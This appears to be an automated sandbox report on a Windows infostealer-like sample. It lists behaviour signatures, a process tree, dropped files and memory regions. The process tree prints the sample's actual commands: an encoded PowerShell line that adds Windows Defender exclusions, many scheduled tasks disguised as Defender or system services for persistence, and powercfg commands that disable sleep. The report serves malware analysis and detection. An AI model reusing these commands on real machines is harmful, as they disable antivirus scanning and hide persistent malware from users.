Analysis

  • max time kernel
    107s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/10/2022, 22:06

General

  • Target
    cd8e811de64b5ac8fd4fdbc0aef185b8.exe
  • Size 1.3MB
  • Sample221025-1z2zpseaeq
  • SHA256 3103bfe3683028f5636bedc5dfb165f67b00cb08fa7d7d6d0bc022a280e7b141
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 15 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cd8e811de64b5ac8fd4fdbc0aef185b8.exe
    "C:\Users\Admin\AppData\Local\Temp\cd8e811de64b5ac8fd4fdbc0aef185b8.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3168
    • C:\Users\Admin\AppData\Local\Temp\ProgramEngine.exe
      "C:\Users\Admin\AppData\Local\Temp\ProgramEngine.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3472
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /C powershell -EncodedCommand "PAAjAFkAUQByAGEAZgBZAE0ARwB3AEYASwBWAFIAeAB1AG8AbwBLAGQAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBwAFQAaAB2AFYAbQB6AGIARQBmAEYAUgB6AGkAagBoAFcAQgBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBEAHoAaQBDAHcAZwBXAGUAdwBPAFAAIwA+ACAAQAAoACAAPAAjAEwAUgBmAEkAUgB2AGsATQBTAHYAQQB1AEcAWgAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAaQBOAHkAbgBSAFoAZwBTAEEASABSAHkAdQAjAD4AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhACkAIAA8ACMAUwBhAEMAbABJAGQAcwBwAFMAYgBCAHEAWgBPACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0ASQBjAHQAawBrAHgAYQBUAEsAeQB1AEEAcgBvACMAPgA="
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2608
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -EncodedCommand "PAAjAFkAUQByAGEAZgBZAE0ARwB3AEYASwBWAFIAeAB1AG8AbwBLAGQAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBwAFQAaAB2AFYAbQB6AGIARQBmAEYAUgB6AGkAagBoAFcAQgBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBEAHoAaQBDAHcAZwBXAGUAdwBPAFAAIwA+ACAAQAAoACAAPAAjAEwAUgBmAEkAUgB2AGsATQBTAHYAQQB1AEcAWgAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAaQBOAHkAbgBSAFoAZwBTAEEASABSAHkAdQAjAD4AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhACkAIAA8ACMAUwBhAEMAbABJAGQAcwBwAFMAYgBCAHEAWgBPACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0ASQBjAHQAawBrAHgAYQBUAEsAeQB1AEEAcgBvACMAPgA="
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3080
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
        3⤵
          PID:2336
          • C:\Windows\SysWOW64\schtasks.exe
            SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
            4⤵
            • Creates scheduled task(s)
            PID:1580
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3204
          • C:\Windows\SysWOW64\schtasks.exe
            SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
            4⤵
            • Creates scheduled task(s)
            PID:4080
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4624
          • C:\Windows\SysWOW64\schtasks.exe
            SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
            4⤵
            • Creates scheduled task(s)
            PID:3100
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
          3⤵
            PID:3104
            • C:\Windows\SysWOW64\schtasks.exe
              SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
              4⤵
              • Creates scheduled task(s)
              PID:1164
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "RuntimeBroker" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3780
            • C:\Windows\SysWOW64\schtasks.exe
              SCHTASKS /CREATE /SC HOURLY /TN "RuntimeBroker" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
              4⤵
              • Creates scheduled task(s)
              PID:3644
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:664
            • C:\Windows\SysWOW64\schtasks.exe
              SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
              4⤵
              • Creates scheduled task(s)
              PID:4076
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
            3⤵
              PID:1916
              • C:\Windows\SysWOW64\schtasks.exe
                SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                4⤵
                • Creates scheduled task(s)
                PID:4392
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
              3⤵
                PID:4120
                • C:\Windows\SysWOW64\schtasks.exe
                  SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                  4⤵
                  • Creates scheduled task(s)
                  PID:1512
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesServices_bk557" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                3⤵
                  PID:4220
                  • C:\Windows\SysWOW64\schtasks.exe
                    SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesServices_bk557" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                    4⤵
                    • Creates scheduled task(s)
                    PID:4496
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesServices_bk18" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                  3⤵
                    PID:4772
                    • C:\Windows\SysWOW64\schtasks.exe
                      SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesServices_bk18" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                      4⤵
                      • Creates scheduled task(s)
                      PID:2968
                  • C:\Windows\SysWOW64\cmd.exe
                    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostServices_bk517" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                    3⤵
                      PID:1804
                      • C:\Windows\SysWOW64\schtasks.exe
                        SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostServices_bk517" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                        4⤵
                        • Creates scheduled task(s)
                        PID:4852
                    • C:\Windows\SysWOW64\cmd.exe
                      "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableServices_bk488" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                      3⤵
                        PID:2020
                        • C:\Windows\SysWOW64\schtasks.exe
                          SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableServices_bk488" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                          4⤵
                          • Creates scheduled task(s)
                          PID:4504
                      • C:\Windows\SysWOW64\cmd.exe
                        "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "Agent Activation Runtime\Agent Activation RuntimeServices_bk249" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                        3⤵
                          PID:1720
                          • C:\Windows\SysWOW64\schtasks.exe
                            SCHTASKS /CREATE /SC HOURLY /TN "Agent Activation Runtime\Agent Activation RuntimeServices_bk249" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                            4⤵
                            • Creates scheduled task(s)
                            PID:4856
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /C powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off & SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRule" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                          3⤵
                            PID:3756
                            • C:\Windows\SysWOW64\powercfg.exe
                              powercfg /x -hibernate-timeout-ac 0
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1888
                            • C:\Windows\SysWOW64\powercfg.exe
                              powercfg /x -hibernate-timeout-dc 0
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3556
                            • C:\Windows\SysWOW64\powercfg.exe
                              powercfg /x -standby-timeout-ac 0
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4324
                            • C:\Windows\SysWOW64\powercfg.exe
                              powercfg /x -standby-timeout-dc 0
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1472
                            • C:\Windows\SysWOW64\powercfg.exe
                              powercfg /hibernate off
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3132
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRule" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
                              4⤵
                              • Creates scheduled task(s)
                              PID:4792
                          • C:\Windows\SysWOW64\cmd.exe
                            "cmd.exe" /C SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRuntime" /TR "C:\ProgramData\RuntimeBrokerData\RegSvc.exe" /f
                            3⤵
                              PID:4692
                              • C:\Windows\SysWOW64\schtasks.exe
                                SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRuntime" /TR "C:\ProgramData\RuntimeBrokerData\RegSvc.exe" /f
                                4⤵
                                • Creates scheduled task(s)
                                PID:3188

                        Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

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                              Downloads

                              ProgramEngine.exe

                              • Path C:\Users\Admin\AppData\Local\Temp\ProgramEngine.exe
                              • Size 1.3MB
                              • SHA256 39e1976be2648efe7a705658361349dbd94f67b958921de57876d3242fe8560b
                              • MD5 SHA1 SHA512 SSDEEP

                              ProgramEngine.exe

                              • Path C:\Users\Admin\AppData\Local\Temp\ProgramEngine.exe
                              • Size 1.3MB
                              • SHA256 39e1976be2648efe7a705658361349dbd94f67b958921de57876d3242fe8560b
                              • MD5 SHA1 SHA512 SSDEEP

                              memory/3080-194-0x00000000078C0000-0x00000000078DE000-memory.dmp

                              memory/3080-154-0x0000000005790000-0x00000000057B2000-memory.dmp

                              memory/3080-200-0x0000000007D90000-0x0000000007DAA000-memory.dmp

                              memory/3080-201-0x0000000007CE0000-0x0000000007CE8000-memory.dmp

                              memory/3080-152-0x0000000002E20000-0x0000000002E56000-memory.dmp

                              memory/3080-153-0x0000000005A00000-0x0000000006028000-memory.dmp

                              memory/3080-196-0x0000000007A60000-0x0000000007A7A000-memory.dmp

                              memory/3080-155-0x0000000006030000-0x0000000006096000-memory.dmp

                              memory/3080-193-0x000000006FE60000-0x000000006FEAC000-memory.dmp

                              memory/3080-176-0x0000000006750000-0x000000000676E000-memory.dmp

                              memory/3080-199-0x0000000007CA0000-0x0000000007CAE000-memory.dmp

                              memory/3080-192-0x0000000007900000-0x0000000007932000-memory.dmp

                              memory/3080-195-0x00000000080A0000-0x000000000871A000-memory.dmp

                              memory/3080-198-0x0000000007CF0000-0x0000000007D86000-memory.dmp

                              memory/3080-197-0x0000000007AD0000-0x0000000007ADA000-memory.dmp

                              memory/3168-144-0x0000000011610000-0x0000000011660000-memory.dmp

                              memory/3168-136-0x000000000F730000-0x000000000F742000-memory.dmp

                              memory/3168-139-0x00000000105D0000-0x0000000010662000-memory.dmp

                              memory/3168-138-0x0000000010180000-0x00000000101E6000-memory.dmp

                              memory/3168-141-0x0000000010DD0000-0x0000000010F92000-memory.dmp

                              memory/3168-142-0x0000000010FA0000-0x00000000114CC000-memory.dmp

                              memory/3168-137-0x000000000F790000-0x000000000F7CC000-memory.dmp

                              memory/3168-140-0x0000000010670000-0x0000000010C14000-memory.dmp

                              memory/3168-143-0x0000000011680000-0x00000000116F6000-memory.dmp

                              memory/3168-135-0x000000000FE00000-0x000000000FF0A000-memory.dmp

                              memory/3168-133-0x00000000022A0000-0x00000000022CA000-memory.dmp

                              memory/3168-134-0x000000000F7E0000-0x000000000FDF8000-memory.dmp

                              memory/3168-132-0x00000000022A0000-0x00000000022CA000-memory.dmp

                              memory/3472-148-0x00000000023A0000-0x0000000002431000-memory.dmp

                              memory/3472-202-0x00000000023A0000-0x0000000002431000-memory.dmp

                              memory/3472-149-0x00000000135D0000-0x00000000135DA000-memory.dmp